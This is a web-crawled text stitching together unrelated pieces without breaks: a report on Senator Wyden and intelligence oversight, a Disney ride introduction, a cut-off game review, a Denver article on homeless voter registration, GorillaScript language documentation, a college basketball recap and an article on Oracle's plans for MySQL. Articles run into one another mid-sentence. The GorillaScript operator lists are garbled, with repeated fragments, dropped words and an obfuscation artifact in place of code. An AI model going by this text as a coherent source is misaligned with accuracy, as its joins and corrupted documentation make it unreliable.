Yet Wyden might have had Warner’s perch. He was next in line to take the ranking membership with Dianne Feinstein’s departure, a move that would have strengthened Wyden’s opportunities for oversight over the intelligence agencies in the age of Trump enormously. Doing so would have meant he would have had to give up his position on the finance committee, and Wyden considered his potential loss of influence over healthcare, trade enforcement and technology policies too high a price – to the consternation of some of his allies outside government.
“In this horror show context, congressional oversight is more important than it has ever been before. We would have preferred Senator Wyden leave his chair on the finance committee and take the ranking chair on the intelligence committee. We need his experience, skepticism and diligence right now, and we need it badly,” said Human Rights Watch’s John Sifton.
Still, Sifton said, Wyden is “a vigorous and vocal defender of civil liberties and human rights and has worked, often thanklessly, to prevent abuses and overreach by CIA and other agencies in the intelligence community”.
While he has been able to forge coalitions with privacy-minded Republicans on discrete issues, Wyden has seen his stable of allies diminish in recent years. Mark Udall, who pushed for accountability on CIA torture, lost his 2014 re-election. Russ Feingold, the only senator to have voted against the Patriot Act, failed in his 2016 comeback bid. He can still count Rand Paul, the Kentucky Republican, as a partner on constraining surveillance.
Wyden acknowledged that “there was a hope we would have some more like-minded members in the Senate who would be here,” but he has vowed to “mobilize” should Trump govern as he campaigned.
“We are going to mobilize, both in the Congress and in the country, around core constitutional values: speech, privacy, the sanctity of the courts.”Welcome, to Walt Disney's Carousel of Progress. You're in for a real treat. The Carousel of Progress was Walt's own idea from beginning to end. He loved it. He introduced the show at the World's Fair in New York City in 1964 and it was an immediate smash hit. Millions of people came to see it and since then, the Carousel of Progress has had more performances than any other stage show in the history of American theater. You know, Walt loved the idea of progress and he loved the American family. He himself was probably as American as anyone could possibly be. He thought it would be fun to watch the American family go through the twentieth century experiencing all new wonders as they came. And he put them together in a show called Carousel of Progress, which we are about to see. Although our Carousel family has experienced a few changes over the years, our show still revolves around the same theme - and that's progress. May the century begin. From: Walt Disney's Carousel of ProgressReal Talk By: KJ
Hotline Miami was of my favorite games to arrive in the last few years. The unique art direction immediately pulled me in. It looks like a SNES game at times, yet the violence would only be allowed in this era. Players were taken on an acid-trip journey through various shootouts. Levels stuffed enemies in small rooms with big guns. The AI was sharp, quick to react, and would capitalize on your mistakes. The soundtrack from the first game, was one of the best I’ve ever heard. Well, that was until I played Wrong Number.
The trippy-synth based sounds from popular 80’s entertainment returns. Arrangements from M.O.O.N, Pertubator, and Old Future Fox Gang just to name a few. They actually released the soundtrack on vinyl this time. Sound effects in general match up. Rounds firing, and blood spilling is all captured. When someone gets their head busted (or worse
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are 1,499 active registered voters just at the St. Francis Center.
Andrew Spinks, development director at the St. Francis Center, said the shelter’s staff hasn’t had voter registration efforts recently, he but believes many of those voters may have registered while getting an identification at the Department of Motor Vehicles or in registration drives of past years.
In Aurora shelters, voter registration numbers are lower — less than 20 active registered voters at two shelters, according to recent numbers — so the Secretary of State partnered with organizations and hosted a drive Tuesday to register more homeless people to vote. By noon, organizers had registered 13 new voters.
But other challenges to participate in the election process remain, advocates say.
In Colorado, those going to vote in person have to present a form of identification. The list of acceptable documents is long — 17 possible documents — but some people have none, or don’t know all their options. For others, there are challenges in getting to a polling place. Alderman said the coalition asked about hosting a polling center but was told there were already enough nearby.
One local organization, Metro Caring, got recent funding to expand statewide a program helping the homeless obtain identification documents. The organization surveys all clients about why they are seeking identification documents. Ten percent of the people who went through Metro Caring in the 2015-16 fiscal year, or 815, reported they wanted their documents to be able to vote.
Abdoulaye doesn’t have identification documents and hasn’t tried recently to get them because she was unsuccessful so many times before, she said. When she registered to vote Friday, volunteers directed her to Metro Caring.
Some say the biggest challenge is misinformation about how to register and their eligibility if they have criminal convictions or lack any identification. After that it’s about engaging people.
Tristzette Morton, one of the coalition staff members who volunteered helping register people to vote Friday, said she had encountered one woman who said she didn’t believe her vote mattered. Abdoulaye, on the other hand, was motivated to vote because of the presidential election.
“People who have traditionally been left behind by the system feel a little more weary and feel like they don’t have a voice,” Alderman said. “Just encouraging people is kind of a first step.”
Following are the requirements for registering to vote in Colorado, including the list of usable identification that the state will accept.a compile-to-JavaScript language designed to empower the user while attempting to prevent some common errors.
Strict vs unstrict equality == and!= perform type coercion behind the scenes and can be the cause of some subtle bugs. // JavaScript, all the following are true 1 == "1" 0!= "" 3 == "03" [] == "" [] == 0 [] ==![] [] == false null!= false null == undefined These could all be fixed by adding an extra equal sign, but GorillaScript makes == and!= strict by default. If one really wants the unstrict equality operators, one can use ~= and!~=, but it is not recommended except for comparing against null or undefined, which has the nice postfix operator?.
The + operator (and += ) + can mean one of two things in JavaScript, addition or string concatenation. There is no way to know at compile-time what the consequences of using + is unless one is 100% certain what each type is. x + y Is addition unless both x and both y are numbers, booleans, undefined, or null, with any mixed variation. If either is not one of those, at which point it performs string concatenation. // JavaScript 1 + 2 === 3 // as expected "hello, " + "world" === "hello, world" // as expected "hello, " + 123 === "hello, 123" // sure, I can accept this "1" + 2 === "12" 1 + "2" === "12" // and for some oddities false + false === 0 false + true === 1 true + true === 2 null + null === 0 isNaN(undefined + undefined) [] + [] === "" {} + {} === "[object Object][object Object]" true + [] === "true" new Date() + 1 === "Tue Jan 29 2013 20:25:58 GMT-0800 (PST)1" // or something like it new Date() - 1 === 1359519958072 // or some other number var foo = { toString: function () { return 5; } valueOf: function () { return "foo"; } }; foo.toString() + 1 === 6 foo + 1 === "foo1" GorillaScript solves this by splitting the operator into two: both + for addition and & for string concatenation. // GorillaScript 1 + 2 == 3 "hello, " & "world" == "hello, world" "hello, " & 123 == "hello, 123" // concatenation with numbers still works perfectly fine 1 & 2 == "12" // despite both being numbers, & always makes a string. 1 + "2" // TypeError "1" + 2 // TypeError "1" + "2" // TypeError false + false // TypeError null + null // TypeError void + void // TypeError [] + [] // TypeError {} + {} // TypeError new Date() + 1 // TypeError new Date().getTime() + 1 == 1359519958072 // or some other number As can be seen, the operators which don’t fit the proper types exactly fail immediately, allowing one to catch bugs as early as possible rather than allowing them to permeate through one’s programs. Don’t worry about losing the bitwise and operator &. It is now called bitand.
Strict mode by default All GorillaScript code is wrapped in an immediately-invoked function expression (IIFE) which has the declaration of "use strict". This ensures that on the engines that support it, strict semantics will be followed, meaning fewer bugs in the long run.
Type safety of operators All operators check the types of their operands to assure that there will be no improper inputs and that any errors that do occur are caught as early as possible. This is highly similar to the custom "use restrict" mode. == and!= do not check the types, since they are already strict by default (in GorillaScript).
and do not check the types, since they are already strict by default (in GorillaScript). <, >, <=, >= are restricted to primitive String s and Number s, but never mixing the two.
,,, are restricted to primitive s and s, but never mixing the two. + only works on primitive Number s.
only works on primitive s. &, the new string concatenation operator, works on primitive String s and Number s.
, the new string concatenation operator, works on primitive s and s. -, *, /, \ (floor division), %, %% (divisible-by), ^ (exponentiation, not bitwise xor), bitand (instead of & ), bitor (instead of | ), bitxor (instead of ^ ), bitnot (instead of ~ ), bitlshift (instead of << ), bitrshift (instead of >> ), biturshift (instead of >>> ), - (unary negate), + (unary coerce-to-number), and all their respective assignment operators ( -=, +=, etc.) all only work on primitive Number s. No other operators’ types are checked. If one really wishes to work in an environment where the operands’ types are not checked, one can always prepend the operator with ~, so there is a ~* operator which performs multiplication without checking. It is recommended to instead parse input data into conforming types before performing operations on them. Thankfully, GorillaScript is able to tell which types most values are, so in the general case, there should be little to no runtime type checking occurring.
Immutable by default GorillaScript uses two separate tokens for declaration as compared to assignment. Also, instead of JavaScript’s var keyword, GorillaScript uses let. Unless one specifies let mutable, the local cannot be reset to any other value. This can prevent some errors and often helps with the clarity of one’s code. Note: An object assigned to a local using let can still be mutated, such as pushing values into an Array. The reference to the array cannot be mutated, though. Also, no undeclared variables can be altered, preventing unexpected global pollution (and typos). let x = 5 x := 6 // Error let mutable y = 5 y := 6 // perfectly fine z := 6 // never declared, this is an error As you may have noticed, there are two different operators for declaration = as compared to assignment :=. This is to clarify the difference. In an ideal program, having as little mutable state as possible is best, so if := jumps out, that’s a good thing.
Constants Separate from the let statement, const allows you to specify that a value is a specific literal value. Any references in-code will be replaced by the value, allowing for pragma-like control over your code. const DEBUG = false DEBUG and assert(some-expensive-check()) Constants do not need to be in CONST_CASE, though it is recommended. There are also a few constant-like values provided: __FILE__ A string representing the current full file path. If unknown, the empty string. __LINE__ A number representing the current line in the GorillaScript file being parsed. 1-indexed. __COLUMN__ A number representing the current column in the GorillaScript file being parsed. 1-indexed. __DATEMSEC__ A number representing the milliseconds since epoch. __VERSION__ A string representing the "version" key from the closest package.json. print __FILE__ print __LINE__ print __COLUMN__ print new Date(__DATEMSEC__) MyProject.version := __VERSION__ // would work if we weren't in the browser Also, if you’d like to have namespaced constants such as in other languages’ enum, you can specify an object (or array) as the value. Any unknown access into these objects will result in a compile-time error rather than a value of undefined const FRUIT_TYPES = { apple: 1 banana: 2 cherry: 3 } print FRUIT_TYPES.apple // 1 print FRUIT_TYPES.banana // 2 print FRUIT_TYPES.cherry // 3 // print FRUIT_TYPES.date // would error if uncommented You don't have to use numbers as the values. In fact, you can use it as a way to compile-time check constant string values: const FRUIT_TYPES = { "apple" "banana" "cherry" } print FRUIT_TYPES.apple // "apple" print FRUIT_TYPES.banana // "banana" print FRUIT_TYPES.cherry // "cherry" // print FRUIT_TYPES.date // would error if uncommented
Indentation to mark code blocks Instead of using braces to dictate code blocks, GorillaScript opts for whitespace indentation as a way to mark blocks. Although this may be jarring at first and one may be skeptical, any good programmer properly indents his or her code to have a consistent whitespace anyway. GorillaScript does not dictate how many spaces or tabs are used, as long as it is consistent within any given block. if hello if loudly "HELLO!" else "hi" else "Goodbye." You may have also noticed the lack of semicolons. The parser is able to tell when the end of a statement is without them, so they are unnecessary.
Changed operators Many of the operators have changed to provide more clarity or to free up the usage of certain symbols. === - ==
-!== -!=
- == - ~=
-!= -!~=
-!x - not x
- + - + for addition, & for string concatenation, type-checked
- for addition, for string concatenation, type-checked & - bitand, type-checked
-, type-checked | - bitor, type-checked
-, type-checked ^ - bitxor, type-checked
-, type-checked ~x - bitnot x, type-checked
-, type-checked << - bitlshift, type-checked
-, type-checked >> - bitrshift, type-checked
-, type-checked >>> - biturshift, type-checked
-, type-checked --x - x -= 1, type-checked
-, type-checked ++x - x += 1, type-checked
-, type-checked x-- - post-dec! x, not recommended except for advanced cases
-, not recommended except for advanced cases x++ - post-inc! x, not recommended except for advanced cases
-, not recommended except for advanced cases && - and
- || - or, can no longer be used with and unless one group is in parentheses.
-, can no longer be used with unless one group is in parentheses. x? y : z - if x then y else z
- key in obj - obj haskey key, reversed arguments. Can use not haskey
-, reversed arguments. Can use obj instanceof constructor - Can also use not instanceof
- Can also use delete x.y - Returns the value of x.y as well as deleting. Does not work on global variables anymore, use delete GLOBAL.x Kept the same: < - type-checked
- type-checked <= - type-checked
- type-checked > - type-checked
- type-checked >= - type-checked
- type-checked - - type-checked
- type-checked * - type-checked
- type-checked / - type-checked
- type-checked % - type-checked
- type-checked -x - type-checked
- type-checked +x - type-checked
- type-checked x[y]
typeof x
throw x - Can now be used as an expression like x or throw y Added: typeof! x - displays the constructor name of the object, typeof! {} == "Object", typeof! [] == "Array"
- displays the constructor name of the object,, throw? x - Only throws x if x is not null or undefined.
- Only throws if is not null or undefined. x ^ y - Same as Math.pow(x, y)
- Same as x \ y - Same as Math.floor(x / y)
- Same as xor - For logical completeness with and and or
- For logical completeness with and x and= y - Same as if x then x := y
- Same as x or= y - Same as if not x then x := y
- Same as x in y - Does x exist in array y. Can use not in. Highly efficient if y is a literal array.
- Does exist in array. Can use. Highly efficient if is a literal array. x ownskey y - Does x own the property named y. Can use not ownskey
- Does own the property named. Can use x <=> y - if x == y, 0. if x < y, -1. otherwise, 1.
- if x == y, 0. if x < y, -1. otherwise, 1. x %% y - Is x divisible by y? Same as x % y == 0.
- Is x divisible by? Same as. x min y - Choose the lower number or lexicographically lesser string
- Choose the lower number or lexicographically lesser string x min= y - If y is less than x, set x to y.
- If is less than, set to. x max y - Choose the higher number or lexicographically greater string
- Choose the higher number or lexicographically greater string x max= y - If y is greater than x, set x to y.
- If is greater than, set to. x? - Is x null or undefined?
- Is or? x? y - If x is null or undefined, then y, otherwise keep the value of x. y may not be executed.
- If is or, then, otherwise keep the value of. may not be executed. x?= y - If x is null or undefined, then set x to y. y may not be executed.
- If is or, then set to. may not be executed. x[y] ownsor= z - If x does not own the key y, then set x[y] to z. z will not be executed if x already owns y. Handy for caching.
- If does not own the key, then set to. will not be executed if already owns. Handy for caching. is-array! x - True if x is an Array (and not just an Array-like object). Works on arrays from a different context.
- True if is an Array (and not just an Array-like object). Works on arrays from a different context. is-object! x - True if x is an Object and not null. Works on objects from a different context.
- True if is an Object and not null. Works on objects from a different context. x to y - Create an array from x to inclusive y.
- Create an array from to inclusive. x til y - Create an array from x until exclusive y.
- Create an array from until exclusive. array by step - Take every step th value from the array. If step is less than 0, go in reverse.
- Take every th value from the array. If is less than 0, go in reverse. x to y by step - Create an array from x to inclusive y, stepping by step.
- Create an array from to inclusive, stepping by. x til y by step - Create an array from x until exclusive y, stepping by step.
- Create an array from until exclusive, stepping by. x instanceofsome y - Iterate over array and check with instanceof. Highly efficient if y is a literal array.
- Iterate over array and check with. Highly efficient if is a literal array. x is y - Works like the ECMAScript6 Object.is, which is like GorillaScript’s ==, but differentiating between 0 and -0 and properly comparing NaN is NaN. Not recommended to use unless you know you’re working with numbers.
- Works like the ECMAScript6 Object.is, which is like GorillaScript’s, but differentiating between and and properly comparing. Not recommended to use unless you know you’re working with numbers. x isnt y - Same as not (x is y)
- Same as x << y - Compose x and y, like #(...args) x(y(...args))
- Compose and, like x >> y - Compose y and x, like #(...args) y(x(...args))
- Compose and, like x |> f - Pipe x into f, like f(x)
- Pipe into, like f <| x - Pipe x into f, like f(x)
- Pipe into, like x <<< y - Import all properties from y into x, like for k, v of y; x[k] := v
- Import all properties from into, like x >>> y - Import all properties from x into y, like for k, v of x; y[k] := v
Slightly nicer function syntax There are two ways to specify functions, one directly using let, and one as an anonymous function. Also, unlike JavaScript, the last expression is automatically returned (unless tagging the function with! ). Functions can be called optionally without parentheses, as long as it is unambiguous. let increment(x) x + 1 assert increment(0) == 1 assert (increment 1) == 2 assert 3 == increment 2 let run(callback) callback() assert run(# "hello") == "hello" assert (run # "there") == "there" assert run(# "you") == "you" assert run(# let x = "guys" "good " & x) == "good guys" // this syntax also works let f() Math.random() console.log f() The outer this can also be captured by appending @ to the head of the function declaration, creating a “bound” function. This is similar to ECMAScript 5’s Function.prototype.bind, but more efficient since a hidden _this variable is used rather than an extra function call. let func() let inner()@ this assert func() == this
String interpolation Inside double-quoted strings ( "like this" ), not single-quoted strings ( 'like this' ), one can specify string interpolations using the $ symbol, followed by an identifier or a parenthetical expression. let hello(name) "Hello, $name" assert hello("World") == "Hello, World" assert hello("Universe") == "Hello, Universe" // or let greet(names) "Hello, $(names.join ', ')" assert greet(["World", "Universe"]) == "Hello, World, Universe"
Optional parameters To specify an optional parameter, one simply need to specify = value in the function parameter list. let hello(name = "World") "Hello, $name" assert hello() == "Hello, World" assert hello("Universe") == "Hello, Universe" If a value is passed in that is null or undefined, it will be automatically turned into the default value.
Spread parameters Instead of using JavaScript’s atrociously broken arguments special, one can specify a spread parameter by prefixing.... Only one can occur in a function parameter list, but it can be at any position. let hello(...names) if names.length == 0 "No one is here" else "Hello, $(names.join ', ')" hello() == "No one is here" hello("World") == "Hello, World" hello("World", "Universe") == "Hello, World, Universe" And so that callers don’t feel bad about themselves, you can call with spread as well. let f(a, b, c) [a, b, c] let items = [1, 2] f(0,...f(...items, 3), 4)
Dashed-identifiers Although completely optional to use if you prefer using camelScript -style identifiers, one can now specify identifiers with dashes, such as my-name or gorillas-are-awesome. They are turned into myName and gorillasAreAwesome, respectively. let gorillas-are-awesome = "Yes, they are."
Nicer number syntax All numbers can have arbitrary underscores in the middle of them, which can be used for thousands separators or bitwise n-bit separators. ( 1_234_567 or 0x1234_5678_90ab_cdef ) Decimal numbers can have inline-comments appended to them after an underscore. ( 1000_ms ) Octals use the format 0o12345670 instead of 01234567, to help with clarity. Binary numbers are available with the format 0b10101010. Arbitrary-radix numbers are available by specifying a decimal number between 2 and 36, r, and the number. ( 4r01230123, 36rjdhremn ) let time = 10_000_ms let hex = 0x1234_5678 let octal = 0o070 let binary = 0b1010010101 let radix = 36rNFfdH45 let float = 123_456.789_012 Non-decimals do support floating point unlike JavaScript, though that is a lesser-used feature.
Some new string syntaxes Aside from the already-seen string interpolation, there are also triple-quoted strings, which allow for multi-line and are indentation-friendly. let name = "Jimmy" let string = """ Hello there. I have a story to tell you, $name. I can't think of it right now, though. """ The indentation is stripped (but not line 2’s, since that's deliberate), and interpolation is done for $name, and the first and last newlines are removed. This all occurs at compile-time, so your result code will be as fast as possible. There are also string like '''this''' which do not have interpolation, if you wish to use it. There is also a short syntax for single-word strings that also convert dashed-names to camelCase just as normal identifiers do. assert "Jimmy" == \Jimmy assert object.some-key == object[\some-key] assert "someKey" == \some-key GorillaScript includes all the escape sequences you may be familiar with in JavaScript, such as "\0", "\t", "\v", and many more. You needn’t worry about some non-standard escape codes such as "\v", as GorillaScript compiles to the lowest common denominator. It also includes the \u unicode escape sequence which takes 4 hex characters trailing it and \x which takes 2 hex characters trailing it. Unlike JavaScript, GorillaScript can properly handle unicode code points greater than 0xFFFF, by having the \u{} syntax. Inside the braces, one can put between 1 and 6 hex characters as long as the representation doesn't exceed 0x10FFFF. This will be split up into two UTF-16 code points if exceeding 0xFFFF. let escapes = "\b\f\r
\t\v\0\1\2\3\4\5\6\7" let hex = "\xe9" let unicode = "\u1d25" let large-unicode = "\u{20bb7}" assert large-unicode.length == 2 // takes up 2 UTF-16 characters, one Unicode code point
Nicer syntaxes for objects and arrays Although the standard JavaScript-style syntaxes work, there are a few other ways to specify objects and arrays. let list = [1, 2, 3] let other-list = [...list, 4, 5, 6] // now contains [1, 2, 3, 4, 5, 6] // another way to specify an array let items = * "Apples" * "Bananas" * "Cherries" let obj = { list // same as list: list sum: 6 f() "result" // same as f: # "result" } let great-apes = bonobos: awesomeness: "pretty cool" population: 40_000 humans: awesomeness: "let's not say anything bad about these guys" population: 7_000_000_000 gorillas: awesomeness: "clearly the best" population: 100_000 let special = { [1 + 2]: "three" "key$i": "interpolated key" class: "JavaScript would fail on the 'class' key." } To specify the prototype of an object: let parent = { hello: \there } let child = { extends parent value: 1 } assert child.hello == \there assert child.value == 1
First-class support for Maps and Sets Map and Set are available in the upcoming ECMAScript 6 and in some existing JavaScript engines. There are also shims to provide support in engines that do not support it out-of-the-box. GorillaScript will automatically provide a shim if used, but it is recommended to use either a native implementation or a more-efficient shim. Map is similar to Object, except its keys are not required to be String s, but can be any type. Also, access and assignment is done through method calls rather than raw dot-access. Set is a collection of unique values, similar to a Map where all values are true. GorillaScript has syntax for declaring both of these as literals, just as one can do with Array s or Object s. let obj = {} let other = {} let map = %{ [obj]: 1 [other]: "hello" } assert map.get(obj) == 1 assert map.get(other) == "hello" map.delete other assert map.has obj assert not map.has other map.set other, "there" assert map.has other assert map.get(other) == "there" let set = %[obj, other] assert set.has(obj) assert set.has(other) set.delete(other) assert not set.has(other) set.add other assert set.has(other) set.add other // does nothing, already in the set.
Unless statement To correlate with the if statement, there is also an unless statement which works as its exact opposite. if hates-bananas "You monster." else unless loves-gorillas "How could you?" else if likes-the-gorillaz "Fire comes out of the monkey's head." else "Well, at least you love gorillas and don't hate bananas."
Loops GorillaScript provides many different looping constructs, all fitted for their own purposes. Normal while loop, same as JavaScript: let mutable i = 0 while i < 10 console.log i i += 1 Opposite of a while loop, until : let mutable i = 0 until i >= 10 console.log i i += 1 Better version of the above, acts like JavaScript’s for(;;) let mutable i = 0 while i < 10, i += 1 console.log i Even better version: for i in 0 til 10 console.log i Or if you want to go in reverse, for i in 9 to 0 by -1 console.log i Or by twos: for i in 0 til 10 by 2 console.log i You don’t have to use literal numbers, they can be any expression in GorillaScript. You can also use to, til, and by to make arrays outside of loops. The difference between til and to is that til goes up until it hits the end, but to includes the end. To iterate over an array, for food in ["Apples", "Bananas", "Cherries"] console.log food If you want its index, for food, index in ["Apples", "Bananas", "Cherries"] console.log "$index: $food" You can also get the total length of the array, if you need it: for value, index, length in some-array f() To iterate an array in reverse (slightly more efficient): for value, index in some-array by -1 // index goes from some-array.length - 1 down to 0. console.log value To iterate only a part of the array: for value in some-array[2 to 5] console.log value It works similarly to some-array.slice(2, 6). You can slice outside of loops as well. To iterate over objects, you can use of instead of in : for key, value of some-object console.log key, value GorillaScript automatically runs an Object.prototype.hasOwnProperty check on the key. To avoid this, use: for key, value ofall some-object console.log key, value Any loop can be an expression simply by returning it or assigning it to a variable. This will create an array. let squares = for value in 0 to 10 value ^ 2 // squares now contains [0, 1, 4, 9, 16, 25, 36, 49, 64, 81, 100] Single-line loops can be specified as so: let squares = for value in 0 to 10; value ^ 2 There are also reducing loops which work by placing one of the reducers ( first, every, some, filter, reduce ) on the for or while loop. let all-good = for every item in array; item.is-good() let has-bad = for some item in array; item.is-bad() let best-value = for first item in array if item.is-best() item.value let only-good = for filter item in array; item.is-good() let sum = for reduce value in [0, 1, 2, 3, 4], current = 0 current + value These work on any for or while loop.
Lexical scoping in loops A common bug in JavaScript is when one creates a function inside a loop that refers to the current index or value or some other variable that changes each loop iteration. GorillaScript solves this problem by wrapping any for loop that creates a function in another function, so the following works by seemingly lexically-scoping the inside of the for loop rather than abiding by JavaScript’s normal function scoping. let funcs = [] for i in 0 til 10 funcs.push # i funcs[0]() == 0 funcs[5]() == 5 With no extra work on the developer’s part.
Array slicing As mentioned briefly earlier, one can use the to, til, and by syntaxes to slice on arrays. let array = [\a, \b, \c, \d, \e] assert-arr array[1 to 3], [\a, \b, \c] assert-arr array[1 to 5 by 2], [\a, \c, \e] assert-arr array[5 to 1 by -2], [\e, \c, \a] assert-arr array by -1, [\e, \d, \c, \b, \a] assert-arr array[0 to -1], [\a, \b, \c, \d, \e] assert-arr array[0 to Infinity], [\a, \b, \c, \d, \e] The negative values work just as they do in.slice, unlike normal accessing
Array negative indexing GorillaScript can’t wrap every single access in a check to see if the child is a negative value (as Python or some other languages do), due to efficiency, but it does provide a nice syntax to make it easier. let array = [\a, \b, \c, \d, \e] assert array[* - 1] == \e assert array[* - 2] == \d assert array[* \ 2] == \c // halfway point in the array When a standalone * is encountered in an index, it is converted to the current array’s.length.
Cascades Cascades are a way to repeatedly send messages to an object that would otherwise not have a fluent interface (i.e. returning this ). let array = [\a, \b, \c, \d, \e]..push \f..reverse()..sort() assert array.length == 6 Cascades can also be nested as such: document.query-selector \h1..style..color := \red..font-size := "200%"..inner-HTML := "Hello, world!"
Everything is an expression (mostly) Unlike JavaScript, for loops, while loops, try blocks, and if constructs can be used as expressions. let array = for i in 0 to 10; i let trial = try throw Error() catch e "Caught something" assert trial == "Caught something" let check = if youre-amazing "It's true" else "Not amazing."
Existential operator If one wishes to check a value against null or undefined, the existential operator (? ) can be used. let exists = value? It can also be used for access soaking let inner = value?.which.might?.not.exist Turns into let inner = if value? let _ref = value.which.might if _ref? _ref.not.exist It can also be used for function checking let result = f?() Turns into let result = if typeof f == \function f()
in operator To correlate with array iteration, in checks if a value is in an array, in a similar way to array.indexOf(value)!= -1 would. assert \hello in [\hi, \there, \hello] To check if an object contains a key, see the haskey operator.
haskey and ownskey Instead of using JavaScript’s in, haskey is used to verify a key’s existence on an object. Also, ownskey is also available to check if a key exists on an object without prototype-checking. let parent = { alpha: \bravo } let child = { extends parent, charlie: \delta } assert parent haskey \alpha assert parent ownskey \alpha assert parent not haskey \charlie assert parent not ownskey \charlie assert child haskey \alpha assert child not ownskey \alpha assert child haskey \charlie assert child ownskey \charlie
Access with ownership Sometimes you may have an object where you want to access its key but only in the case of the object owning the key as a property. assert if parent ownskey key parent[key] // functionally equivalent to assert parent![key] Or, for a known key: assert if parent ownskey \key parent.key assert parent!.key
Apply syntax In JavaScript, if you wish to specify the this argument passed to a function, one must use either.call or.apply. GorillaScript provides the @ syntax: let f() this let obj = {} assert obj == f@ obj assert obj == f@(obj) Array.prototype.slice@ arguments, 1 It transparently converts to.call or.apply (whichever is more appropriate), using the first argument as its this.
Binding access ECMAScript 5 supplies Function.prototype.bind as a way to bind functions to a specific this (and specify arguments). To do a similar binding in GorillaScript, one need only use the familiar @ syntax with access. let obj = { f: # this } let bound = [email protected] assert bound() == obj let unbound = obj.f assert unbound() == window
Classes GorillaScript provides a way to make classical-style classes. JavaScript does not have classes normally, so GorillaScript’s creation is slightly hackish, but works for the general case. class Animal def constructor(@name) -> def eat() "$(@name) eats" class GreatApe extends Animal // no constructor, Animal's is automatically called def eat(food="fruit") super.eat() & " a " & food class Gorilla extends GreatApe def constructor(@name, @favorite-food) // important to call the super constructor. super(@name) def eat() super.eat(@favorite-food) class Chimp extends GreatApe def eat() super.eat("banana") let bobo = Chimp("Bobo") // new is not required on GorillaScript-made classes assert bobo.eat() == "Bobo eats a banana" let toko = Gorilla("Toko", "cherry") assert toko.eat() == "Toko eats a cherry" // set a method on the Gorilla constructor Gorilla::barrel := # @name & " throws a barrel!" assert toko.barrel() == "Toko throws a barrel!" Classes can extend other classes and call into their superclass with super. The constructor functions automatically check the this argument and if it is not the current class’s type (such as when called without new ), it will create a new one on-the-fly.
Destructuring GorillaScript, like ECMAScript 6, provides a destructuring declaration. let [x, y] = [1, 2] assert x == 1 assert y == 2 let {a, b: c} = {a: 3, b: 4} assert a == 3 assert c == 4 These can be nested like so: let [a, {b, c: [d]}] = get-data() And the spread operator (... ) can be used once per array destructure: let [value,...rest] = array
Switch Like JavaScript, GorillaScript provides switch. The only major exception is that JavaScript is fallthrough-by-default, and GorillaScript is break-by-default. GorillaScript can also specify multiple values to check at once instead of having multiple cases. switch can also be used as an
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corner with 23 seconds left to put Northern Iowa ahead 61-56. Creighton's Jahenns Manigat made it 61-59 on a 3 with 15 seconds left.
James missed a free throw that allowed Young's 3 to tie it and shot just 6 of 14 from the floor. But he hit the one that mattered at the end.
"I'm still in awe of that game. It was so much fun to play," Koch said.
Northern Iowa's Johnny Moran buried a 3 and Rank scooped through heavy traffic, putting the Panthers ahead 39-34 with 14:40 left. They could've gone ahead by seven, which would have been the biggest lead yet for either team, but Young smartly stripped Matt Morrison at the rim.
Ethan Wragge's rushed 3 and bank shot at the end of two sloppy possessions brought Creighton back even at 40-all. McDermott then tipped a loose ball to himself over four Panthers in the paint, converting a three-point play to give the Bluejays a 43-40 lead with 11:02 left.
Creighton finished just 5 of 16 from 3-point range, and nobody but Young and McDermott scored more than eight points.
"We just needed some offense from somewhere else. Antoine and Doug were good," Greg McDermott said. "It was just one of those nights. You play (24) games and they're not all going to be perfect."
Northern Iowa rolled into Valley play with a realistic shot at yet another NCAA tournament berth after wins over Old Dominion, Providence, Iowa and Iowa State in nonconference play. But the Panthers have struggled in Valley play, uncharacteristically struggling to knock down shots.
That probably wouldn't have been an issue if McDermott had stuck around.
Jacobson graciously let McDermott leave when his father Greg left Iowa State for Creighton before Greg's freshman year.
No one could have imagined he would blossom into one of the nation's best players -- and Northern Iowa's student section showed their bitterness by booing McDermott when he touched the ball.
McDermott was as good as ever, shooting 7 of 11 from the floor, but the Panthers hit 11 of their 21 tries from 3 -- including James's dramatic finale.
"It felt good as soon as I let it go," James said. "I used my legs like coach (Jacobson) told me too."Ever since Oracle's acquisition of Sun, MySQL users have been nervous about Oracle's commitment to the open source database, given Oracle's own database product line. At the O'Reilly MySQL Conference that began today in Santa Clara, Calif., Edward Screven, Oracle's chief corporate architect took to the stage to win over the hearts and minds of the users with a simple message: MySQL matters to Oracle.
"MySQL has some properties that Oracle does not," Screven said in an interview with InfoWorld before the keynote speech. "It's small, it's easy to install. It's easy for developers to get going with it."
[ Also on InfoWorld: Peter Wayner assesses MySQL's post-Sun future. | Among dramas unfolding around the Oracle takeover of Sun is the fate of JavaFX technology. | Relive the rise and fall of Sun Microsystems in our slideshow. ]
The MySQL open source database lets Oracle target a segment of the market it's not reaching with Oracle Database. "It's important for us as a business for MySQL to be successful. For that to happen, we have to keep investing in it," Screven said.
Screven said Oracle is already bringing some big performance improvements by integrating the MySQL and InnoDB teams -- increases of up to 35 percent for MySQL databases operating with several hundred concurrent connections. The forthcoming new version of MySQL gets its speed improvements from using even finer-grain locking of rows and avoiding some of the contention for tables.
MySQL is in charge of parsing the SQL queries and interacting with outside clients, but it delegates responsibility for storing the data to several different engines with different properties. The InnoDB engine offers transactional processing, a requirement for ensuring data consistency in case of hardware failure. (Oracle purchased the Finnish company Innobase in 2005, a move that led many to predict that the company would eventually move to purchase MySQL.)
"Part of the problem that used to exist between InnoDB and MySQL was that we didn't have coordinated review cycles. It was very hard to have improvements roll into the final product," Screven said.
Screven noted that the performance boost, as well as several other planned enhancements, will be included in both the community and commercial editions. However, some features, such as hot backup, will be found only in the commercial editions. (Hot backup had been a separate product but will now be rolled in to the enterprise edition of MySQL.)
Under Oracle's ownership, "I don't see foresee any substantial changes from how MySQL AB or Sun made the distinction [between what was in the community and commercial editions]," Screven told InfoWorld. "I expect that core features will end up in community edition. There will be some value-add, like monitoring or backup, that make sense in the enterprise edition."
While Screven said that Oracle definitely wants to run MySQL as a business to make money, he emphasized that he and others at the company liked the way the open source community edition made it easy for people to start up projects. "It would be a mistake for us to starve the community edition because that would impinge upon the ubiquity of MySQL," he said.
The larger MySQL community now includes several forks of the MySQL core tool like MariaDB and Drizzle produced by ex-MySQL employees. Both are experimenting with different data storage engines and other enhancements. Screven wished them the best of luck, but suggested that the new Oracle-backed MySQL will continue to focus on taking care of commercial customers.
"I think it will be hard for those guys to create a forked product with the kind of commercial support that our customers need for production applications," Screven said. "We're really focused on ensuring that MySQL becomes a better product and appeals to our customers. What we're fundamentally selling here is support."
